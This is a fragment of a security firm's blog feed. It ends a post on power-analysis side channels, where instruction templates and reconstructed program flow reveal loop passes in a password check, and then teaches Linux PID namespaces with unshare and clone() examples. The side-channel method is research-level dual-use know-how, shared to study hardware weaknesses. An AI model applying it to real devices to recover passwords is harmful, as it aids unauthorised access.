src="https://www.schutzwerk.com/en/blog/poweranalysis02/add_with_different_arguments.png"
width="640"
height="480"
alt="Recorded Templates of an add instruction with several arguments"
/>
&lt;/picture>
&lt;figcaption class="figcaption">
&lt;div
class="skew-block blue"
>
&lt;/div>
Recorded Templates of an add instruction with several arguments&lt;/figcaption>
&lt;/figure>
&lt;p>This problem might be solved with a higher resolution oscilloscope or machine learning to spot differences that a human could not.&lt;/p>
&lt;h2 id="how-distinguishable-are-the-templates">How distinguishable are the Templates?&lt;/h2>
&lt;p>After some samples have been recorded, it has to be checked that they are distinguishable from each other.
To accomplish this the same recorded instruction series can be correlated against all templates.
In the following example a series of five ASR (arithmetical shift right) instructions, including some initialization and deinitialization code, is correlated with various templates.&lt;/p>
&lt;figure
>
&lt;picture>
&lt;source media="(max-width: 320px)" srcset="https://www.schutzwerk.com/en/blog/poweranalysis02/asr_series_correlated_huf3dcd92edc48117edebb1096c769701e_97646_320x0_resize_lanczos_2.png">
&lt;source media="(max-width: 640px)" srcset="https://www.schutzwerk.com/en/blog/poweranalysis02/asr_series_correlated_huf3dcd92edc48117edebb1096c769701e_97646_640x0_resize_lanczos_2.png">
&lt;source media="(max-width: 1280px)" srcset="https://www.schutzwerk.com/en/blog/poweranalysis02/asr_series_correlated_huf3dcd92edc48117edebb1096c769701e_97646_1280x0_resize_lanczos_2.png">
&lt;img
src="https://www.schutzwerk.com/en/blog/poweranalysis02/asr_series_correlated.png"
width="1680"
height="967"
alt="series of asr instructions correlated with various templates"
/>
&lt;/picture>
&lt;figcaption class="figcaption">
&lt;div
class="skew-block blue"
>
&lt;/div>
series of asr instructions correlated with various templates&lt;/figcaption>
&lt;/figure>
&lt;p>It can be assumed that at about sample number 400 a jump into the series occurs. The following five instructions match as expected to the ASR instruction.
But if a series of five LSL (logical shift left) instructions is correlated with the templates some occurrences are mismatched with ASR instructions.&lt;/p>
&lt;figure
>
&lt;picture>
&lt;source media="(max-width: 320px)" srcset="https://www.schutzwerk.com/en/blog/poweranalysis02/lsl_series_correlated_hu259a12be96dbcd3e942fd0326705ce15_98194_320x0_resize_lanczos_2.png">
&lt;source media="(max-width: 640px)" srcset="https://www.schutzwerk.com/en/blog/poweranalysis02/lsl_series_correlated_hu259a12be96dbcd3e942fd0326705ce15_98194_640x0_resize_lanczos_2.png">
&lt;source media="(max-width: 1280px)" srcset="https://www.schutzwerk.com/en/blog/poweranalysis02/lsl_series_correlated_hu259a12be96dbcd3e942fd0326705ce15_98194_1280x0_resize_lanczos_2.png">
&lt;img
src="https://www.schutzwerk.com/en/blog/poweranalysis02/lsl_series_correlated.png"
width="1680"
height="967"
alt="series of lsl instructions correlated with various templates"
/>
&lt;/picture>
&lt;figcaption class="figcaption">
&lt;div
class="skew-block blue"
>
&lt;/div>
series of lsl instructions correlated with various templates&lt;/figcaption>
&lt;/figure>
&lt;p>The same behavior can be seen with other ALU (arithmetic logic unit) instructions. The conclusion here is, that instructions that are processed by the same functional unit in the microcontroller can be mismatched. But instructions that are processed by different processing units can be distinguished easily. For example memory instructions:&lt;/p>
&lt;figure
>
&lt;picture>
&lt;source media="(max-width: 320px)" srcset="https://www.schutzwerk.com/en/blog/poweranalysis02/memoryinstructions_correlated_with_add_series_hue01dab1fbb40114c83586399e6cb4f79_55934_320x0_resize_lanczos_2.png">
&lt;source media="(max-width: 640px)" srcset="https://www.schutzwerk.com/en/blog/poweranalysis02/memoryinstructions_correlated_with_add_series_hue01dab1fbb40114c83586399e6cb4f79_55934_640x0_resize_lanczos_2.png">
&lt;source media="(max-width: 1280px)" srcset="https://www.schutzwerk.com/en/blog/poweranalysis02/memoryinstructions_correlated_with_add_series_hue01dab1fbb40114c83586399e6cb4f79_55934_1280x0_resize_lanczos_2.png">
&lt;img
src="https://www.schutzwerk.com/en/blog/poweranalysis02/memoryinstructions_correlated_with_add_series.png"
width="943"
height="564"
alt="series of ALU instructions correlated with the templates of memory instruction"
/>
&lt;/picture>
&lt;figcaption class="figcaption">
&lt;div
class="skew-block blue"
>
&lt;/div>
series of ALU instructions correlated with the templates of memory instruction&lt;/figcaption>
&lt;/figure>
&lt;p>As it can be seen in the plot, no memory operation has been associated with the area of the add series.&lt;/p>
&lt;h2 id="reconstructing-a-program">Reconstructing a program&lt;/h2>
&lt;p>For program — especially program flow — reconstruction there is no need to determine each instruction and each argument precisely. It is enough to detect jumps and then compare the traces of the executed codeblocks. If they correlate and have a similar length they could be assumed equal. This information could be used to reconstruct program loops.
To validate this theory we use simple password checking function as an example.&lt;/p>
&lt;figure
>
&lt;picture>
&lt;source media="(max-width: 320px)" srcset="https://www.schutzwerk.com/en/blog/poweranalysis02/password_check_c_hufd52990e5fdeff7622452951ab0cc478_18110_320x0_resize_lanczos_2.png">
&lt;source media="(max-width: 640px)" srcset="https://www.schutzwerk.com/en/blog/poweranalysis02/password_check_c_hufd52990e5fdeff7622452951ab0cc478_18110_640x0_resize_lanczos_2.png">
&lt;source media="(max-width: 1280px)" srcset="https://www.schutzwerk.com/en/blog/poweranalysis02/password_check_c_hufd52990e5fdeff7622452951ab0cc478_18110_1280x0_resize_lanczos_2.png">
&lt;img
src="https://www.schutzwerk.com/en/blog/poweranalysis02/password_check_c.png"
width="619"
height="197"
alt="A password checking function in c"
/>
&lt;/picture>
&lt;figcaption class="figcaption">
&lt;div
class="skew-block blue"
>
&lt;/div>
A password checking function in c&lt;/figcaption>
&lt;/figure>
&lt;p>If the password “a” is entered the following graph can be reconstructed, when each edge is a detected jump and each node is a unique codeblock that does not
correlate good with the others.&lt;/p>
&lt;figure
>
&lt;picture>
&lt;source media="(max-width: 320px)" srcset="https://www.schutzwerk.com/en/blog/poweranalysis02/graph_of_programflow_with_no_matching_symbol_hu0223dd6f73d9c7a8394106a0dc3f8bb3_16444_320x0_resize_lanczos_2.png">
&lt;source media="(max-width: 640px)" srcset="https://www.schutzwerk.com/en/blog/poweranalysis02/graph_of_programflow_with_no_matching_symbol_hu0223dd6f73d9c7a8394106a0dc3f8bb3_16444_640x0_resize_lanczos_2.png">
&lt;source media="(max-width: 1280px)" srcset="https://www.schutzwerk.com/en/blog/poweranalysis02/graph_of_programflow_with_no_matching_symbol_hu0223dd6f73d9c7a8394106a0dc3f8bb3_16444_1280x0_resize_lanczos_2.png">
&lt;img
src="https://www.schutzwerk.com/en/blog/poweranalysis02/graph_of_programflow_with_no_matching_symbol.png"
width="1264"
height="59"
alt="reconstructed program flow of the input &amp;#34;a&amp;#34;"
/>
&lt;/picture>
&lt;figcaption class="figcaption">
&lt;div
class="skew-block blue"
>
&lt;/div>
reconstructed program flow of the input &amp;#34;a&amp;#34;&lt;/figcaption>
&lt;/figure>
&lt;p>No loop is visible and a linear program flow is reconstructed, as expected from the source code.
But if for example an input is given that is matching the first symbol of the password (like “ccc”) a pass of a loop becomes visible.&lt;/p>
&lt;figure
>
&lt;picture>
&lt;source media="(max-width: 320px)" srcset="https://www.schutzwerk.com/en/blog/poweranalysis02/reconstructed_program_flow_for_password_c_hud2ae1cf89c3a2997366214d97e6eb179_24032_320x0_resize_lanczos_2.png">
&lt;source media="(max-width: 640px)" srcset="https://www.schutzwerk.com/en/blog/poweranalysis02/reconstructed_program_flow_for_password_c_hud2ae1cf89c3a2997366214d97e6eb179_24032_640x0_resize_lanczos_2.png">
&lt;source media="(max-width: 1280px)" srcset="https://www.schutzwerk.com/en/blog/poweranalysis02/reconstructed_program_flow_for_password_c_hud2ae1cf89c3a2997366214d97e6eb179_24032_1280x0_resize_lanczos_2.png">
&lt;img
src="https://www.schutzwerk.com/en/blog/poweranalysis02/reconstructed_program_flow_for_password_c.png"
width="769"
height="173"
alt="reconstructed program flow of the input &amp;#34;ccc&amp;#34;"
/>
&lt;/picture>
&lt;figcaption class="figcaption">
&lt;div
class="skew-block blue"
>
&lt;/div>
reconstructed program flow of the input &amp;#34;ccc&amp;#34;&lt;/figcaption>
&lt;/figure>
&lt;p>Such a clear representation of the programs flow can not always be expected. Sometimes jumps are not or falsely detected.
Also the matching of codeblocks is not an easy task. If a codeblock contains a conditional jump it might be detected as a smaller block when the jump is executed
and as a big block when the jump is not executed. And if blocks are always matched and aligned with the smallest block possible then all blocks fragment into tiny blocks of one to three instructions. The improvement of block matching algorithms is a current task of our research.&lt;/p>
&lt;h2 id="next-post">Next Post&lt;/h2>
&lt;ul>
&lt;li>The next article in this series &amp;lsquo;&amp;lsquo;Fuzzing based on reconstructed flow&amp;rsquo;&amp;rsquo; will be published soon.&lt;br/> Follow us on &lt;span class="markdown-link-wrapper">
&lt;span class="inline-link">&lt;a
href="https://twitter.com/Schutzwerk"
class="link-background inline no-spaces"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">Twitter&lt;/span>
&lt;/a>
&lt;/span>
&lt;/span>
, &lt;span class="markdown-link-wrapper">
&lt;span class="inline-link">&lt;a
href="https://www.linkedin.com/company/schutzwerk/"
class="link-background inline no-spaces"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">LinkedIn&lt;/span>
&lt;/a>
&lt;/span>
&lt;/span>
, &lt;span class="markdown-link-wrapper">
&lt;span class="inline-link">&lt;a
href="https://www.xing.com/companies/schutzwerkgmbh/updates"
class="link-background inline no-spaces"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">Xing&lt;/span>
&lt;/a>
&lt;/span>
&lt;/span>
to stay up-to-date&lt;/li>
&lt;/ul>
&lt;div class="pane-container
">
&lt;div class="blue-line-wrapper-clippath
">
&lt;div class="blue-line">&lt;/div>
&lt;/div>
&lt;/div>
&lt;h2 id="references--credits">References / Credits&lt;/h2>
&lt;p>The work was sponsored by the BMBF project &lt;span class="markdown-link-wrapper">
&lt;span class="inline-link">&lt;a
href="https://www.forschung-it-sicherheit-kommunikationssysteme.de/projekte/sicherheit-fuer-vernetzte-autonome-fahrzeuge"
class="link-background inline no-spaces"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">SecForCARs&lt;/span>
&lt;/a>
&lt;/span>
&lt;/span>
and created at &lt;span class="markdown-link-wrapper">
&lt;span class="inline-link">&lt;a
href="https://www.schutzwerk.com/"
class="link-background inline split"
>
&lt;span class="link-label">SCHUTZWERK&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/"
class="link-background inline split"
>
&lt;span class="link-label">GmbH&lt;/span>
&lt;/a>
&lt;/span>
&lt;/span>
(supervisor Dr. Bastian Könings &amp;amp; Msc. Heiko Ehret) in cooperation with the &lt;span class="markdown-link-wrapper">
&lt;span class="inline-link">&lt;a
href="https://www.uni-ulm.de/en/in/vs/"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">Institute&lt;/span>
&lt;/a>&lt;a
href="https://www.uni-ulm.de/en/in/vs/"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">of&lt;/span>
&lt;/a>&lt;a
href="https://www.uni-ulm.de/en/in/vs/"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">Distributed&lt;/span>
&lt;/a>&lt;a
href="https://www.uni-ulm.de/en/in/vs/"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">Systems&lt;/span>
&lt;/a>
&lt;/span>
&lt;/span>
at Ulm University (referee: Prof. Dr. Frank Kargl, supervisor Dr. Rens van der Heijden).&lt;/p></description></item><item><title>Linux Container Primitives: PID and Network Namespaces</title><link>https://www.schutzwerk.com/en/blog/linux-container-namespaces03-pid-net/</link><author>Philipp Schmied</author><pubDate>Mon, 24 Aug 2020 09:56:10 +0100</pubDate><category>linux</category><category>container</category><description>
&lt;p>After discussing the mount namespace and an information leak issue in Docker in the &lt;span class="markdown-link-wrapper">
&lt;span class="inline-link">&lt;a
href="https://www.schutzwerk.com/en/blog/linux-container-namespaces02-mnt/"
class="link-background inline split"
>
&lt;span class="link-label">previous&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/linux-container-namespaces02-mnt/"
class="link-background inline split"
>
&lt;span class="link-label">blog&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/linux-container-namespaces02-mnt/"
class="link-background inline split"
>
&lt;span class="link-label">post&lt;/span>
&lt;/a>
&lt;/span>
&lt;/span>
, this part illustrates the PID and network namespace types. The following list shows the topics of all scheduled blog posts. It will be updated with the corresponding links once new posts are being released.&lt;/p>
&lt;ol start="0">
&lt;li>&lt;span class="markdown-link-wrapper">
&lt;span class="inline-link">&lt;a
href="https://www.schutzwerk.com/en/blog/linux-container-intro/"
class="link-background inline split"
>
&lt;span class="link-label">An&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/linux-container-intro/"
class="link-background inline split"
>
&lt;span class="link-label">Introduction&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/linux-container-intro/"
class="link-background inline split"
>
&lt;span class="link-label">to&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/linux-container-intro/"
class="link-background inline split"
>
&lt;span class="link-label">Linux&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/linux-container-intro/"
class="link-background inline split"
>
&lt;span class="link-label">Containers&lt;/span>
&lt;/a>
&lt;/span>
&lt;/span>
&lt;/li>
&lt;li>&lt;span class="markdown-link-wrapper">
&lt;span class="inline-link">&lt;a
href="https://www.schutzwerk.com/en/blog/linux-container-capabilities/"
class="link-background inline split"
>
&lt;span class="link-label">Linux&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/linux-container-capabilities/"
class="link-background inline split"
>
&lt;span class="link-label">Capabilities&lt;/span>
&lt;/a>
&lt;/span>
&lt;/span>
&lt;/li>
&lt;li>&lt;span class="markdown-link-wrapper">
&lt;span class="inline-link">&lt;a
href="https://www.schutzwerk.com/en/blog/linux-container-namespaces01-intro/"
class="link-background inline split"
>
&lt;span class="link-label">An&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/linux-container-namespaces01-intro/"
class="link-background inline split"
>
&lt;span class="link-label">Introduction&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/linux-container-namespaces01-intro/"
class="link-background inline split"
>
&lt;span class="link-label">to&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/linux-container-namespaces01-intro/"
class="link-background inline split"
>
&lt;span class="link-label">Namespaces&lt;/span>
&lt;/a>
&lt;/span>
&lt;/span>
&lt;/li>
&lt;li>&lt;span class="markdown-link-wrapper">
&lt;span class="inline-link">&lt;a
href="https://www.schutzwerk.com/en/blog/linux-container-namespaces02-mnt/"
class="link-background inline split"
>
&lt;span class="link-label">The&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/linux-container-namespaces02-mnt/"
class="link-background inline split"
>
&lt;span class="link-label">Mount&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/linux-container-namespaces02-mnt/"
class="link-background inline split"
>
&lt;span class="link-label">Namespace&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/linux-container-namespaces02-mnt/"
class="link-background inline split"
>
&lt;span class="link-label">and&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/linux-container-namespaces02-mnt/"
class="link-background inline split"
>
&lt;span class="link-label">a&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/linux-container-namespaces02-mnt/"
class="link-background inline split"
>
&lt;span class="link-label">Description&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/linux-container-namespaces02-mnt/"
class="link-background inline split"
>
&lt;span class="link-label">of&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/linux-container-namespaces02-mnt/"
class="link-background inline split"
>
&lt;span class="link-label">a&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/linux-container-namespaces02-mnt/"
class="link-background inline split"
>
&lt;span class="link-label">Related&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/linux-container-namespaces02-mnt/"
class="link-background inline split"
>
&lt;span class="link-label">Information&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/linux-container-namespaces02-mnt/"
class="link-background inline split"
>
&lt;span class="link-label">Leak&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/linux-container-namespaces02-mnt/"
class="link-background inline split"
>
&lt;span class="link-label">in&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/linux-container-namespaces02-mnt/"
class="link-background inline split"
>
&lt;span class="link-label">Docker&lt;/span>
&lt;/a>
&lt;/span>
&lt;/span>
&lt;/li>
&lt;li>&lt;span class="markdown-link-wrapper">
&lt;span class="inline-link">&lt;a
href="https://www.schutzwerk.com/en/blog/linux-container-namespaces03-pid-net"
class="link-background inline split"
>
&lt;span class="link-label">The&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/linux-container-namespaces03-pid-net"
class="link-background inline split"
>
&lt;span class="link-label">PID&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/linux-container-namespaces03-pid-net"
class="link-background inline split"
>
&lt;span class="link-label">and&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/linux-container-namespaces03-pid-net"
class="link-background inline split"
>
&lt;span class="link-label">Network&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/linux-container-namespaces03-pid-net"
class="link-background inline split"
>
&lt;span class="link-label">Namespaces&lt;/span>
&lt;/a>
&lt;/span>
&lt;/span>
&lt;/li>
&lt;li>&lt;span class="markdown-link-wrapper">
&lt;span class="inline-link">&lt;a
href="https://www.schutzwerk.com/en/blog/linux-container-namespaces04-user"
class="link-background inline split"
>
&lt;span class="link-label">The&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/linux-container-namespaces04-user"
class="link-background inline split"
>
&lt;span class="link-label">User&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/linux-container-namespaces04-user"
class="link-background inline split"
>
&lt;span class="link-label">Namespace&lt;/span>
&lt;/a>
&lt;/span>
&lt;/span>
&lt;/li>
&lt;li>&lt;span class="markdown-link-wrapper">
&lt;span class="inline-link">&lt;a
href="https://www.schutzwerk.com/en/blog/linux-container-namespaces05-kernel"
class="link-background inline split"
>
&lt;span class="link-label">Namespaces&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/linux-container-namespaces05-kernel"
class="link-background inline split"
>
&lt;span class="link-label">Kernel&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/linux-container-namespaces05-kernel"
class="link-background inline split"
>
&lt;span class="link-label">View&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/linux-container-namespaces05-kernel"
class="link-background inline split"
>
&lt;span class="link-label">and&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/linux-container-namespaces05-kernel"
class="link-background inline split"
>
&lt;span class="link-label">Usage&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/linux-container-namespaces05-kernel"
class="link-background inline split"
>
&lt;span class="link-label">in&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/linux-container-namespaces05-kernel"
class="link-background inline split"
>
&lt;span class="link-label">Containerization&lt;/span>
&lt;/a>
&lt;/span>
&lt;/span>
&lt;/li>
&lt;li>&lt;span class="markdown-link-wrapper">
&lt;span class="inline-link">&lt;a
href="https://www.schutzwerk.com/en/blog/linux-container-cgroups-01-intro"
class="link-background inline split"
>
&lt;span class="link-label">An&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/linux-container-cgroups-01-intro"
class="link-background inline split"
>
&lt;span class="link-label">Introduction&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/linux-container-cgroups-01-intro"
class="link-background inline split"
>
&lt;span class="link-label">to&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/linux-container-cgroups-01-intro"
class="link-background inline split"
>
&lt;span class="link-label">Control&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/linux-container-cgroups-01-intro"
class="link-background inline split"
>
&lt;span class="link-label">Groups&lt;/span>
&lt;/a>
&lt;/span>
&lt;/span>
&lt;/li>
&lt;li>&lt;span class="markdown-link-wrapper">
&lt;span class="inline-link">&lt;a
href="https://www.schutzwerk.com/en/blog/linux-container-cgroups-02-network-block-io"
class="link-background inline split"
>
&lt;span class="link-label">The&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/linux-container-cgroups-02-network-block-io"
class="link-background inline split"
>
&lt;span class="link-label">Network&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/linux-container-cgroups-02-network-block-io"
class="link-background inline split"
>
&lt;span class="link-label">and&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/linux-container-cgroups-02-network-block-io"
class="link-background inline split"
>
&lt;span class="link-label">Block&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/linux-container-cgroups-02-network-block-io"
class="link-background inline split"
>
&lt;span class="link-label">I/O&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/linux-container-cgroups-02-network-block-io"
class="link-background inline split"
>
&lt;span class="link-label">Controllers&lt;/span>
&lt;/a>
&lt;/span>
&lt;/span>
&lt;/li>
&lt;li>&lt;span class="markdown-link-wrapper">
&lt;span class="inline-link">&lt;a
href="https://www.schutzwerk.com/en/blog/linux-container-cgroups-03-memory-cpu-freezer-dev"
class="link-background inline split"
>
&lt;span class="link-label">The&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/linux-container-cgroups-03-memory-cpu-freezer-dev"
class="link-background inline split"
>
&lt;span class="link-label">Memory,&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/linux-container-cgroups-03-memory-cpu-freezer-dev"
class="link-background inline split"
>
&lt;span class="link-label">CPU,&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/linux-container-cgroups-03-memory-cpu-freezer-dev"
class="link-background inline split"
>
&lt;span class="link-label">Freezer&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/linux-container-cgroups-03-memory-cpu-freezer-dev"
class="link-background inline split"
>
&lt;span class="link-label">and&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/linux-container-cgroups-03-memory-cpu-freezer-dev"
class="link-background inline split"
>
&lt;span class="link-label">Device&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/linux-container-cgroups-03-memory-cpu-freezer-dev"
class="link-background inline split"
>
&lt;span class="link-label">Controllers&lt;/span>
&lt;/a>
&lt;/span>
&lt;/span>
&lt;/li>
&lt;li>&lt;span class="markdown-link-wrapper">
&lt;span class="inline-link">&lt;a
href="https://www.schutzwerk.com/en/blog/linux-container-cgroups-04-groups-kernel"
class="link-background inline split"
>
&lt;span class="link-label">Control&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/linux-container-cgroups-04-groups-kernel"
class="link-background inline split"
>
&lt;span class="link-label">Groups&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/linux-container-cgroups-04-groups-kernel"
class="link-background inline split"
>
&lt;span class="link-label">Kernel&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/linux-container-cgroups-04-groups-kernel"
class="link-background inline split"
>
&lt;span class="link-label">View&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/linux-container-cgroups-04-groups-kernel"
class="link-background inline split"
>
&lt;span class="link-label">and&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/linux-container-cgroups-04-groups-kernel"
class="link-background inline split"
>
&lt;span class="link-label">Usage&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/linux-container-cgroups-04-groups-kernel"
class="link-background inline split"
>
&lt;span class="link-label">in&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/linux-container-cgroups-04-groups-kernel"
class="link-background inline split"
>
&lt;span class="link-label">Containerization&lt;/span>
&lt;/a>
&lt;/span>
&lt;/span>
&lt;/li>
&lt;/ol>
&lt;hr>
&lt;h2 id="pid-namespaces">PID Namespaces&lt;/h2>
&lt;p>By creating a PID namespace, the process ID number space gets isolated. This makes it possible that processes in a container have PIDs starting from the value &lt;code>1&lt;/code> whereas the &lt;em>real&lt;/em> PID outside of the namespace of the same process is an entirely different number. Therefore multiple processes can have the same PID value on a system while they reside in different PID namespaces. With this namespace type processes of a container can be suspended and resumed, making the PIDs of the processes unique and persistent within such a namespace. Furthermore, containers can have their own &lt;code>init&lt;/code> processes with a PID value of &lt;code>1&lt;/code> that prepare the container internals and reap child processes themselves rather than delegating this task to the system wide &lt;code>init&lt;/code> process.&lt;/p>
&lt;p>Joining namespaces of this type limits process communication: It&amp;rsquo;s not possible to interact with processes of other PID namespaces in a way that requires a process identifier when issuing system calls. For example, it&amp;rsquo;s important to note that processes can only send signals to other processes that reside in their current namespace or in namespaces descending from their current namespace. This isolation is one of the main use-cases for this namespace type in containerization.&lt;/p>
&lt;p>PID namespaces allow nesting up to a depth of 32, resulting in one PID in the original namespace and one in the new namespace for each process. This creates one PID value in each namespace that&amp;rsquo;s a direct ancestor walking back to the root namespace. Changing PID namespaces is a one-way operation. This means that it&amp;rsquo;s not possible to move a process up to an ancestor namespace.&lt;/p>
&lt;p>Moving a process to its own PID namespace does &lt;em>not&lt;/em> isolate the list of processes visible for that process. This can be verified by creating a shell in its own PID namespace and examining the process list:&lt;/p>
&lt;div class="highlight">&lt;pre style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4">&lt;code class="language-bash" data-lang="bash">user@box:~$ sudo unshare -fp /bin/bash
root@box:~# ps aux
USER PID [...] COMMAND
[...]
user &lt;span style="color:#3677a9">5380&lt;/span> [...] /usr/lib/[...]/chromium-browser --enable-pinch
user &lt;span style="color:#3677a9">5388&lt;/span> [...] /usr/lib/[...]/chromium-browser --type=zygote
[...]
&lt;/code>&lt;/pre>&lt;/div>&lt;p>As can be seen in the listing above, processes residing in other namespaces are still visible. The process list is determined by processing the &lt;code>/proc/&amp;lt;PID&amp;gt;&lt;/code> folders to gather the displayed information and this is not being isolated by joining a new PID namespace. By appending the option &lt;code>--mount-proc&lt;/code> to the command used above, this issue is being resolved by creating a new mount namespace and remounting the &lt;code>/proc&lt;/code> directory using &lt;code>mount -t proc proc /proc&lt;/code>. This effectively isolates the directory contents of &lt;code>/proc&lt;/code> and prevents a container from accessing the information stored in the &lt;code>/proc&lt;/code> directory for processes residing in other namespaces. Employing this remounting mechanism is a part of the default behavior of Docker and other container engines. Therefore, leaking information of host process and accessing parts of these processes by sharing &lt;code>/proc&lt;/code> is prevented.&lt;/p>
&lt;p>A simple C usage example for this namespace type can be examined below:&lt;/p>
&lt;div class="highlight">&lt;pre style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4">&lt;code class="language-c" data-lang="c">[...]
&lt;span style="color:#6ab825;font-weight:bold">int&lt;/span> run(&lt;span style="color:#6ab825;font-weight:bold">void&lt;/span> *) {
std::cout &amp;lt;&amp;lt; &lt;span style="color:#ed9d13">&amp;#34;[Child] PID: &amp;#34;&lt;/span> &amp;lt;&amp;lt; getpid() &amp;lt;&amp;lt; std::endl;
std::cout &amp;lt;&amp;lt; &lt;span style="color:#ed9d13">&amp;#34;[Child] Parent PID: &amp;#34;&lt;/span> &amp;lt;&amp;lt; getppid() &amp;lt;&amp;lt; std::endl;
system(&lt;span style="color:#ed9d13">&amp;#34;/bin/sh&amp;#34;&lt;/span>);
&lt;span style="color:#6ab825;font-weight:bold">return&lt;/span> &lt;span style="color:#3677a9">0&lt;/span>;
}
&lt;span style="color:#6ab825;font-weight:bold">int&lt;/span> main(&lt;span style="color:#6ab825;font-weight:bold">int&lt;/span> argc, &lt;span style="color:#6ab825;font-weight:bold">char&lt;/span> &lt;span style="color:#6ab825;font-weight:bold">const&lt;/span> *argv[]) {
[...]
childPid = clone(run, childStackTop, CLONE_VFORK | CLONE_NEWPID,
&lt;span style="color:#3677a9">0&lt;/span>);
std::cout &amp;lt;&amp;lt; &lt;span style="color:#ed9d13">&amp;#34;[Parent] Child PID: &amp;#34;&lt;/span> &amp;lt;&amp;lt; childPid &amp;lt;&amp;lt; std::endl;
[...]
&lt;span style="color:#6ab825;font-weight:bold">return&lt;/span> &lt;span style="color:#3677a9">0&lt;/span>;
}
&lt;/code>&lt;/pre>&lt;/div>&lt;p>After compiling and executing this codes it becomes clear that the child is running with PID &lt;code>1&lt;/code> in the isolated environment and a different, much higher identifier outside of the namespace.&lt;/p>
